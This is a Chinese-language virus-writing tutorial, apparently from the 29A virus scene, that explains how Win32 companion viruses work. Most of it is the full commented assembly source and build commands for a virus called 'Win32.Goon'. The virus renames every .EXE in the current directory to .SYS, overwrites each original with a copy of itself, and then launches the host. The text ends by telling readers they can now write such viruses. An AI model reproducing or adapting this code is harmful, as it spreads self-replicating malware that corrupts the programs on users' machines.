朋友們好，今天我在29A#6中讀到了Benny寫的一篇文章。它題目是“病毒界的現狀”。我對此進行了思考，而后我決然寫這篇教程！因為我想通過這個教程分享我所有的病毒知識。這個教程并不適于了解了本文所述更多內容更多的朋友，但對于初學者和新手(像我)來說本文有益。是的，希望如此！當我的知識水平更進一步(下一步學習PE)后，我會寫下全部所懂與大家分享。現在，教程開始，希望它對你有所幫助并能堅持看完它！
1.什么是伴侶病毒
伴侶病毒不改變宿主程序的代碼，也沒有添加代碼，掛起或者其他任何動作。它僅僅是重命名宿主程序，然后把自己復制為宿主程序原來的文件名。當你運行程序時，病毒會首先運行，當它所有工作完成，才接著運行宿主程序。你可以把宿主和病毒兩者的文件名都重命名回原先的文件名，這樣宿主程序就能恢復正常。下面給出全過程的原理圖。
第一步：
/-------------\ /-----------\
| | | |
| Program.EXE | ;目標文件的 | Virus.EXE | ;我們必須了解病毒文件中的
| | ;原先文件名 | | ;API函數: GetCommandLineA
\-------------/ \-----------/
第二步：
/-------------\ /-----------\
| | | |
| Program.EXE | | Virus.EXE |
| | | |
\-------------/ \-----------/
|
|
復制為
|
|
/-------------\
| |
| Program.SYS |
| |
\-------------/
第三步：
/-------------\ /-----------\
| | | |
| Program.EXE |<---------復制為-----------| Virus.EXE |
| | | |
\-------------/ \-----------/
恢復方法：
刪除Program.EXE，把Program.SYS重命名回Program.EXE，所做就這些了。
2.伴侶病毒如何工作的
(1) 獲取病毒文件的文件名
(2)創建宿主文件的原先文件名
(3)在當前目錄搜索到第一個文件
(4)將目標文件復制為另一個文件名
(5)把病毒文件復制為目標文件的原先文件名
(6)搜索下一個文件->重復（4） -->沒有其他文件 跳到7.
(7)運行宿主程序 (經過了步驟2)
(8)病毒退出
3.帶注釋的病毒例子
理論夠充足了，讓我們看它怎么工作。編譯方法：
TASM32 /z /ml /m3 Goon,,;
TLINK32 -Tpe -c Goon,Goon,, import,lib
;-----cut----------------------------------------Goon.asm-------------------
.386 ;386指令集
.model flat ;內存平坦模式
jumps ;TASM rulez
;+++++
; 你能理解，我想 :)
;+++++
extrn GetCommandLineA :PROC ;獲取病毒文件和宿主文件
extrn lstrcpyA :PROC ;復制字符串
extrn FindFirstFileA :PROC ;搜索當前目錄第一個匹配的文件
extrn FindNextFileA :PROC ;通過文件句柄搜索下一個文件
extrn CopyFileA :PROC ;復制文件 (往上看 _2_)
extrn CreateProcessA :PROC ;運行宿主
extrn ExitProcess :PROC ;退出病毒程序
;+++++
; 這里，我們聲明必需的API函數
; 我想你能理解
;+++++
.data
Goon db ’Win32.Goon - Virus’,0
db ’Only a Example Code’,0
db ’by DiA/auXnet’,0
FILETIME STRUC
FT_dwLowDateTime dd ?
FT_dwHighDateTime dd ?
FILETIME ENDS
WIN32_FIND_DATA label byte
WFD_dwFileAttributes dd ?
WFD_ftCreationTime FILETIME ?
WFD_ftLastAccessTime FILETIME ?
WFD_ftLastWriteTime FILETIME ?
WFD_nFileSizeHigh dd ?
WFD_nFileSizeLow dd ?
WFD_dwReserved0 dd ?
WFD_dwReserved1 dd ?
WFD_szFileName db 260d dup (?)
WFD_szAlternateFileName db 13 dup (?)
WFD_szAlternateEnding db 03 dup (?)
;+++++
; 這是 Win32 Find data:
; 這里保存關于目標文件的所有數據
; 我們僅僅對包含目標文件的名稱的"WFD_szFileName"
; 記住我們必須復制目標文件成另外一個文件名，
; 而把病毒復制成目標文件最先的文件名
;+++++
VirusFile db 260d dup (0)
HostFile db 260d dup (0)
HostCopy db 260d dup (0)
;+++++
; 這里創建文件名的空間：病毒文件名，宿主文件名，
; 還有我們必須創建的文件名(從目標文件復制)
;+++++
FileMask db ’*.EXE’,0
FindHandle dd 0
ProcessInfo dd 4 dup (0)
StartupInfo dd 4 dup (0)
;+++++
; 包含我們必須搜索的文件
; FileHandle 包含搜索的文件的句柄 (FindNextFileA)
; ProcessInfo and StartupInfo 僅僅是為了運行宿主 (不重要)
;+++++
.code
start:
;+++++
; ROCK ’N ROLL =)
;+++++
call GetCommandLineA
;+++++
; 這里我們獲取包含正在運行的程序文件名的CommandLine
; (病毒文件 :). 現在，line 在eax了, 看下一步...
;+++++
inc eax ; **** da "
push eax
push offset VirusFile
call lstrcpyA ;復制它
;+++++
; 為什么要’inc eax’???
; 因為CommandLine類似這樣："C:\LUCI\HELL.EXE" (包含 ")
; 我們不能運行，復制帶有"的程序,所以我們走到前面一個地方
; 它從eax復制到VirusFile
;+++++
mov esi,offset VirusFile ;now in esi
call GetPoint ;call a kewl procedure ;)
;+++++
; we must find da point to **** the other "
; 讓我們看看...
;+++++
mov dword ptr [esi+4],00000000d ;清除它
;+++++
; 我們走到.EXE后面并清除"號
; ->現在我們得到完整funcional VirusFile
;+++++
push offset VirusFile
push offset HostFile
call lstrcpyA
;+++++
; 把文件名復制到HostFile, 這樣我們可以改變它并得到真的Host文件名 (.SYS)
; ...
;+++++
mov esi,offset HostFile
call GetPoint
;+++++
; 得到指針...
;+++++
mov dword ptr [esi],5359532Eh ;5359532Eh = ’SYS.’
;+++++
; 把它重命名為 .SYS (last 4 letters with point)
; 現在我們得到HostFile, 可能運行宿主...
; ...但是等等! 我們必須感染文件!!!
;+++++
push offset WIN32_FIND_DATA
push offset FileMask
call FindFirstFileA
mov dword ptr [FindHandle],eax ;保存句柄
;+++++
; 如果你不懂WIN32_FIND_DATA and FileMask，請往上看...
; Call后Find Handle保存在eax中, FindNextFileA還要用到，我們保存它...
;+++++
FindNext:
test eax,eax ;還有文件?
jz RunHost ;如果沒有就跳到RunHost
;+++++
; 當eax是null,說明當前目錄里沒有更多的文件可以被感染了
; 所有的文件都感染后就運行宿主
;+++++
push offset WFD_szFileName
push offset HostCopy
call lstrcpyA
;+++++
; 得制 WFD_szFileName 到 HostCopy 來重命名和復制它
;+++++
mov esi,offset HostCopy
call GetPoint
;+++++
; 得到指針來重命名文件名為.SYS
; 稍后使用它復制原先的文件為宿主文件
;+++++
mov dword ptr [esi],5359532Eh ; SYS.
;+++++
; 把它重命名為 .SYS (last 4 letters)
; 現在我們做所以工作完成感染目標文件:
; 病毒文件名
; 原先文件名
; 重命名目標文件名
; rock ’n roll =)
;+++++
push 1 ;如果文件已存在就不復制
push offset HostCopy
push offset WFD_szFileName
call CopyFileA
;+++++
; 現在我們復制.EXE文件為.EXE文件,宿主文件在.sys
; 如果文件已經存在,我們就不要復制它，我們不能復制它兩次
;+++++
push 0 ;無條件復制
push offset WFD_szFileName
push offset VirusFile
call CopyFileA
;+++++
; 我們復制病毒為目標.EXE文件
; 無條件復制,因為我們不能有兩個宿主而沒有病毒
;+++++
push offset WIN32_FIND_DATA
push dword ptr [FindHandle]
call FindNextFileA
jmp FindNext
;+++++
; 你還記得我們保存FindHandle吧...
; 我們搜索更多的文件!
; 跳到FindNext并檢查更多的文件
;+++++
RunHost:
xor eax,eax ;null
push offset ProcessInfo ;這個，我們不感興趣
push offset StartupInfo ;...
push eax
push eax
push 00000010h ;創建進程
push eax
push eax
push eax
push offset HostFile
push offset HostFile ;運行它
call CreateProcessA
;+++++
; 記住我們重命名病文件為宿主文件(.SYS), 現在我們通過這個名運行
;+++++
push 0
call ExitProcess
;+++++
; 所有這些做完，我們把控制交給宿主
;+++++
GetPoint:
cmp byte ptr [esi],’.’ ;point?
jz FoundPoint ;je return
inc esi ;scan next place
jmp GetPoint
FoundPoint:
ret ;return
;+++++
; at last the GetPoint procedure...
; scan for ’.’ and if found return to place where are called
;+++++
end start
;+++++
; 晚安
;+++++
;-----cut------------------------------------------------------------ |
4.結束語
嗯，教程完畢，現在你可以寫Win32伴侶病毒了。向Benny/29A表示致謝，是你用杰出的文章激發我寫下這篇教程。
